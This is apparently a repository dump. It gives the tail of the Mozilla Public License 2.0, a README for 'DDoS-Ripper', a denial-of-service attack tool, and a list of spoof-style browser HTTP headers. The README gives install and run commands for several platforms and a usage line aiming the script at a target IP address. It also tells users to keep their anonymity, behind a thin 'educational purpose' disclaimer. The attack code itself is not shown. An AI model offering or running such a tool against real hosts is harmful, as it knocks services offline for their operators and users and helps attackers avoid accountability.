| 94 | (a) under intellectual property rights (other than patent or trademark) 95 | Licensable by such Contributor to use, reproduce, make available, 96 | modify, display, perform, distribute, and otherwise exploit its 97 | Contributions, either on an unmodified basis, with Modifications, or 98 | as part of a Larger Work; and 99 | 100 | (b) under Patent Claims of such Contributor to make, use, sell, offer 101 | for sale, have made, import, and otherwise transfer either its 102 | Contributions or its Contributor Version. 103 | 104 | 2.2. Effective Date 105 | 106 | The licenses granted in Section 2.1 with respect to any Contribution 107 | become effective for each Contribution on the date the Contributor first 108 | distributes such Contribution. 109 | 110 | 2.3. Limitations on Grant Scope 111 | 112 | The licenses granted in this Section 2 are the only rights granted under 113 | this License. No additional rights or licenses will be implied from the 114 | distribution or licensing of Covered Software under this License. 115 | Notwithstanding Section 2.1(b) above, no patent license is granted by a 116 | Contributor: 117 | 118 | (a) for any code that a Contributor has removed from Covered Software; 119 | or 120 | 121 | (b) for infringements caused by: (i) Your and any other third party's 122 | modifications of Covered Software, or (ii) the combination of its 123 | Contributions with other software (except as part of its Contributor 124 | Version); or 125 | 126 | (c) under Patent Claims infringed by Covered Software in the absence of 127 | its Contributions. 128 | 129 | This License does not grant any rights in the trademarks, service marks, 130 | or logos of any Contributor (except as may be necessary to comply with 131 | the notice requirements in Section 3.4). 132 | 133 | 2.4. Subsequent Licenses 134 | 135 | No Contributor makes additional grants as a result of Your choice to 136 | distribute the Covered Software under a subsequent version of this 137 | License (see Section 10.2) or under the terms of a Secondary License (if 138 | permitted under the terms of Section 3.3). 139 | 140 | 2.5. Representation 141 | 142 | Each Contributor represents that the Contributor believes its 143 | Contributions are its original creation(s) or it has sufficient rights 144 | to grant the rights to its Contributions conveyed by this License. 145 | 146 | 2.6. Fair Use 147 | 148 | This License is not intended to limit any rights You have under 149 | applicable copyright doctrines of fair use, fair dealing, or other 150 | equivalents. 151 | 152 | 2.7. Conditions 153 | 154 | Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted 155 | in Section 2.1. 156 | 157 | 3. Responsibilities 158 | ------------------- 159 | 160 | 3.1. Distribution of Source Form 161 | 162 | All distribution of Covered Software in Source Code Form, including any 163 | Modifications that You create or to which You contribute, must be under 164 | the terms of this License. You must inform recipients that the Source 165 | Code Form of the Covered Software is governed by the terms of this 166 | License, and how they can obtain a copy of this License. You may not 167 | attempt to alter or restrict the recipients' rights in the Source Code 168 | Form. 169 | 170 | 3.2. Distribution of Executable Form 171 | 172 | If You distribute Covered Software in Executable Form then: 173 | 174 | (a) such Covered Software must also be made available in Source Code 175 | Form, as described in Section 3.1, and You must inform recipients of 176 | the Executable Form how they can obtain a copy of such Source Code 177 | Form by reasonable means in a timely manner, at a charge no more 178 | than the cost of distribution to the recipient; and 179 | 180 | (b) You may distribute such Executable Form under the terms of this 181 | License, or sublicense it under different terms, provided that the 182 | license for the Executable Form does not attempt to limit or alter 183 | the recipients' rights in the Source Code Form under this License. 184 | 185 | 3.3. Distribution of a Larger Work 186 | 187 | You may create and distribute a Larger Work under terms of Your choice, 188 | provided that You also comply with the requirements of this License for 189 | the Covered Software. If the Larger Work is a combination of Covered 190 | Software with a work governed by one or more Secondary Licenses, and the 191 | Covered Software is not Incompatible With Secondary Licenses, this 192 | License permits You to additionally distribute such Covered Software 193 | under the terms of such Secondary License(s), so that the recipient of 194 | the Larger Work may, at their option, further distribute the Covered 195 | Software under the terms of either this License or such Secondary 196 | License(s). 197 | 198 | 3.4. Notices 199 | 200 | You may not remove or alter the substance of any license notices 201 | (including copyright notices, patent notices, disclaimers of warranty, 202 | or limitations of liability) contained within the Source Code Form of 203 | the Covered Software, except that You may alter any license notices to 204 | the extent required to remedy known factual inaccuracies. 205 | 206 | 3.5. Application of Additional Terms 207 | 208 | You may choose to offer, and to charge a fee for, warranty, support, 209 | indemnity or liability obligations to one or more recipients of Covered 210 | Software. However, You may do so only on Your own behalf, and not on 211 | behalf of any Contributor. You must make it absolutely clear that any 212 | such warranty, support, indemnity, or liability obligation is offered by 213 | You alone, and You hereby agree to indemnify every Contributor for any 214 | liability incurred by such Contributor as a result of warranty, support, 215 | indemnity or liability terms You offer. You may include additional 216 | disclaimers of warranty and limitations of liability specific to any 217 | jurisdiction. 218 | 219 | 4. Inability to Comply Due to Statute or Regulation 220 | --------------------------------------------------- 221 | 222 | If it is impossible for You to comply with any of the terms of this 223 | License with respect to some or all of the Covered Software due to 224 | statute, judicial order, or regulation then You must: (a) comply with 225 | the terms of this License to the maximum extent possible; and (b) 226 | describe the limitations and the code they affect. Such description must 227 | be placed in a text file included with all distributions of the Covered 228 | Software under this License. Except to the extent prohibited by statute 229 | or regulation, such description must be sufficiently detailed for a 230 | recipient of ordinary skill to be able to understand it. 231 | 232 | 5. Termination 233 | -------------- 234 | 235 | 5.1. The rights granted under this License will terminate automatically 236 | if You fail to comply with any of its terms. However, if You become 237 | compliant, then the rights granted under this License from a particular 238 | Contributor are reinstated (a) provisionally, unless and until such 239 | Contributor explicitly and finally terminates Your grants, and (b) on an 240 | ongoing basis, if such Contributor fails to notify You of the 241 | non-compliance by some reasonable means prior to 60 days after You have 242 | come back into compliance. Moreover, Your grants from a particular 243 | Contributor are reinstated on an ongoing basis if such Contributor 244 | notifies You of the non-compliance by some reasonable means, this is the 245 | first time You have received notice of non-compliance with this License 246 | from such Contributor, and You become compliant prior to 30 days after 247 | Your receipt of the notice. 248 | 249 | 5.2. If You initiate litigation against any entity by asserting a patent 250 | infringement claim (excluding declaratory judgment actions, 251 | counter-claims, and cross-claims) alleging that a Contributor Version 252 | directly or indirectly infringes any patent, then the rights granted to 253 | You by any and all Contributors for the Covered Software under Section 254 | 2.1 of this License shall terminate. 255 | 256 | 5.3. In the event of termination under Sections 5.1 or 5.2 above, all 257 | end user license agreements (excluding distributors and resellers) which 258 | have been validly granted by You or Your distributors under this License 259 | prior to termination shall survive termination. 260 | 261 | ************************************************************************ 262 | * * 263 | * 6. Disclaimer of Warranty * 264 | * ------------------------- * 265 | * * 266 | * Covered Software is provided under this License on an "as is" * 267 | * basis, without warranty of any kind, either expressed, implied, or * 268 | * statutory, including, without limitation, warranties that the * 269 | * Covered Software is free of defects, merchantable, fit for a * 270 | * particular purpose or non-infringing. The entire risk as to the * 271 | * quality and performance of the Covered Software is with You. * 272 | * Should any Covered Software prove defective in any respect, You * 273 | * (not any Contributor) assume the cost of any necessary servicing, * 274 | * repair, or correction. This disclaimer of warranty constitutes an * 275 | * essential part of this License. No use of any Covered Software is * 276 | * authorized under this License except under this disclaimer. * 277 | * * 278 | ************************************************************************ 279 | 280 | ************************************************************************ 281 | * * 282 | * 7. Limitation of Liability * 283 | * -------------------------- * 284 | * * 285 | * Under no circumstances and under no legal theory, whether tort * 286 | * (including negligence), contract, or otherwise, shall any * 287 | * Contributor, or anyone who distributes Covered Software as * 288 | * permitted above, be liable to You for any direct, indirect, * 289 | * special, incidental, or consequential damages of any character * 290 | * including, without limitation, damages for lost profits, loss of * 291 | * goodwill, work stoppage, computer failure or malfunction, or any * 292 | * and all other commercial damages or losses, even if such party * 293 | * shall have been informed of the possibility of such damages. This * 294 | * limitation of liability shall not apply to liability for death or * 295 | * personal injury resulting from such party's negligence to the * 296 | * extent applicable law prohibits such limitation. Some * 297 | * jurisdictions do not allow the exclusion or limitation of * 298 | * incidental or consequential damages, so this exclusion and * 299 | * limitation may not apply to You. * 300 | * * 301 | ************************************************************************ 302 | 303 | 8. Litigation 304 | ------------- 305 | 306 | Any litigation relating to this License may be brought only in the 307 | courts of a jurisdiction where the defendant maintains its principal 308 | place of business and such litigation shall be governed by laws of that 309 | jurisdiction, without reference to its conflict-of-law provisions. 310 | Nothing in this Section shall prevent a party's ability to bring 311 | cross-claims or counter-claims. 312 | 313 | 9. Miscellaneous 314 | ---------------- 315 | 316 | This License represents the complete agreement concerning the subject 317 | matter hereof. If any provision of this License is held to be 318 | unenforceable, such provision shall be reformed only to the extent 319 | necessary to make it enforceable. Any law or regulation which provides 320 | that the language of a contract shall be construed against the drafter 321 | shall not be used to construe this License against a Contributor. 322 | 323 | 10. Versions of the License 324 | --------------------------- 325 | 326 | 10.1. New Versions 327 | 328 | Mozilla Foundation is the license steward. Except as provided in Section 329 | 10.3, no one other than the license steward has the right to modify or 330 | publish new versions of this License. Each version will be given a 331 | distinguishing version number. 332 | 333 | 10.2. Effect of New Versions 334 | 335 | You may distribute the Covered Software under the terms of the version 336 | of the License under which You originally received the Covered Software, 337 | or under the terms of any subsequent version published by the license 338 | steward. 339 | 340 | 10.3. Modified Versions 341 | 342 | If you create software not governed by this License, and you want to 343 | create a new license for such software, you may create and use a 344 | modified version of this License if you rename the license and remove 345 | any references to the name of the license steward (except to note that 346 | such modified license differs from this License). 347 | 348 | 10.4. Distributing Source Code Form that is Incompatible With Secondary 349 | Licenses 350 | 351 | If You choose to distribute Source Code Form that is Incompatible With 352 | Secondary Licenses under the terms of this version of the License, the 353 | notice described in Exhibit B of this License must be attached. 354 | 355 | Exhibit A - Source Code Form License Notice 356 | ------------------------------------------- 357 | 358 | This Source Code Form is subject to the terms of the Mozilla Public 359 | License, v. 2.0. If a copy of the MPL was not distributed with this 360 | file, You can obtain one at http://mozilla.org/MPL/2.0/. 361 | 362 | If it is not possible or desirable to put the notice in a particular 363 | file, then You may include the notice in a location (such as a LICENSE 364 | file in a relevant directory) where a recipient would be likely to look 365 | for such a notice. 366 | 367 | You may add additional accurate notices of copyright ownership. 368 | 369 | Exhibit B - "Incompatible With Secondary Licenses" Notice 370 | --------------------------------------------------------- 371 | 372 | This Source Code Form is "Incompatible With Secondary Licenses", as 373 | defined by the Mozilla Public License, v. 2.0. 374 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DDoS-Ripper 2 | 3 | # What is a DDoS Attack? 4 | A Distributable Denied-of-Service (DDOS) attack server that cuts off targets or surrounding infrastructure in a flood of Internet traffic 5 | 6 | DDoS attacks achieve effectiveness using multiple compromised computer systems as a source of attack traffic. Search engines may include computers and other network resources such as IoT devices. 7 | From a higher level, the DDOS attack is like an unexpected traffic jam stuck on a highway, preventing regular traffic from reaching its destination. 8 | 9 | ## NOTE (Please, make sure you have installed python 3 ) 10 | 11 | ![dddd](https://user-images.githubusercontent.com/49250151/96265488-57e53d00-0f7a-11eb-8936-ce2e9a2c42cd.PNG) 12 | 13 | ## For Termux 14 | To use the DRipper type the following commands in Termux: 15 | 16 | `pkg install git -y` 17 | 18 | `pkg install python -y` 19 | 20 | `pkg install python3 -y` 21 | 22 | `git clone https://github.com/palahsu/DDoS-Ripper.git` 23 | 24 | `cd DDoS-Ripper` 25 | `$ ls` 26 | 27 | `$ python3 DRipper.py` 28 | 29 | ## USGAE 30 | `python3 DRipper.py -s [ip Address] -t 135` 31 | 32 | `example: python3 DRipper.py -s 0.00.00.00 -t 135` 33 | 34 | ## For Debian-based GNU/Linux distributions 35 | To use the application, type in the following commands in GNU/Linux terminal. 36 | 37 | `sudo apt install git` 38 | `git clone https://github.com/palahsu/DDoS-Ripper.git` 39 | `cd DDoS-Ripper` 40 | `$ ls` 41 | `$ python3 DRipper.py` OR `python2 DRipper.py` 42 | 43 | ## For Windows 44 | 45 | `git clone https://github.com/palahsu/DDoS-Ripper` 46 | 47 | `cd DDoS-Ripper` 48 | ` ls` 49 | 50 | `python3 DRipper.py` OR `python DRipper.py` 51 | 52 | `python3 DRipper.py -s [ip Address] -t 135` 53 | 54 | `example: python3 DRipper.py -s 0.00.00.00 -t 135` 55 | 56 | ## For MacOS 57 | 58 | Install Brew and Install dependencies (python 3) 59 | 60 | # Note: 61 | If you find any problems than please write on issue github and to our Telegram Group. Don't use for revenge! Make sure your anonymity! 62 | It's made for just testing purpose. 63 | We are not responsible for any abuse or damage caused by this program. Only for Educational Purpose. 64 | Thanks. 65 | 66 | ## Requirments ▶ 67 | 68 | ●🖥Linux OS( Kali 🐉 Ubuntu ) 69 | 70 | ●📱Termux > 71 | 72 | ●🖥Windows 73 | 74 | ●🖥MAC 75 | 76 | # Modified by @palahsu 77 | 78 | For any kind of help, support, payment, suggetion and request ask me on Telegram: 79 | 80 | 81 | 82 | Or Facebook 83 | 84 | ## Follow on: 85 |

86 | 87 |

88 | 89 |

90 | 91 |

92 | 93 | -------------------------------------------------------------------------------- /headers.txt: -------------------------------------------------------------------------------- 1 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 2 | Accept-Language: en-us,en;q=0.5 3 | Accept-Encoding: gzip,deflate 4 | Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 5 | Keep-Alive: 115 6 | Connection: keep-alive 7 | --------------------------------------------------------------------------------